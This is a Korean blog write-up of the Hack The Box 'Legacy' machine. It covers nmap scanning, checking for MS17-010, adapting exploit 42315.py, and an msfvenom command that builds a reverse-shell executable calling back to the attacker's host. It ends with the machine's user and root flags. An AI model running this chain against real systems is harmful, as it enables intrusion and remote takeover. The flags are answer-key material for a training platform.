Wargame/Hack The Box

[HTB] legacy Writeup

Vardy 2022. 1. 5. 23:57

포트스캐닝을 통해 대상 머신의 정보를 수집해보자.

nmap -sC -sS -sV -O -p- 10.129.1.111

139,445 port의 smb와 닫힌 3389 port가 나온다. 

 

windows에서 smb 관련 취약점을 검색하다보니 ms17-010 가 대표적이었고, 아래 스크립트를 통해 취약함을 확인 할 수 있었다.

nmap -p 445 --script smb-vuln-ms17-010 10.129.1.111

 

searchsploit ms17-010

이 중 42315.py 를 활용해보기로 했다.

searchsploit -m 42315

 

주어지는 파일을 바로 실행시키면 에러가 발생하는데, 아래 두 개 자료를 활용해 해결했다.

 

https://github.com/worawit/MS17-010/blob/master/mysmb.py

 

GitHub - worawit/MS17-010: MS17-010

MS17-010. Contribute to worawit/MS17-010 development by creating an account on GitHub.

github.com

 

https://takudaddy.tistory.com/429

 

칼리) Python impacket 모듈 설치 문제 해결

칼리를 업데이트하다 보면 의존성 문제 때문에 툴 사용이 안되는 경우가 발생할 수 있고 같은 문제로 파이썬으로 공격 코드를 짜고 사용하는데 파이썬 버전과 모듈 설치 관련해 트러블이 또한

takudaddy.tistory.com

 

그 결과 공격이 유효함을 확인 할 수 있었다.

python 42315.py 10.129.1.111

테스트 결과로는 pwned.txt 파일을 생성하는 것이 기본 설정인듯하여 해당 부분을 Reverse shell RCE 로 바꾸기 위해 42315.py 파일을 분석해보았다.

def smb_pwn(conn, arch):
        smbConn = conn.get_smbconnection()

        print('creating file c:\\pwned.txt on the target')
        tid2 = smbConn.connectTree('C$')
        fid2 = smbConn.createFile(tid2, '/pwned.txt')
        smbConn.closeFile(tid2, fid2)
        smbConn.disconnectTree(tid2)

        #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
        #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
        # Note: there are many methods to get shell over SMB admin session
        # a simple method to get shell (but easily to be detected by AV) is
        # executing binary generated by "msfvenom -f exe-service ..."

 

파일 전송 기능과 실행 기능이 주석으로 안내되어 있었기에, 코드를 아래와 같이 수정했다.

 

Reverse Shell을 원격 수행 시킬 파일이 필요했기 때문에 msfvenom을 활용해서 생성했다.

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=1234 -f exe > exploit.exe

 

그 후 공격 파일을 재실행시키니, 시스템 권한의 ReverseShell을 획득 하여 문제를 해결 할 수 있었다.

ex.py
got reverseshell

참고로, Windows 커맨드창에서 Document ans Settings 디렉토리에 접근하려면 아래 명령어를 활용하면 된다.

cd DOCUME~1

FLAG =

[user] e69af0e4f443de7e36876fda4ec7644f

[root] 993442d258b0e0ec917cae9e695d5713

반응형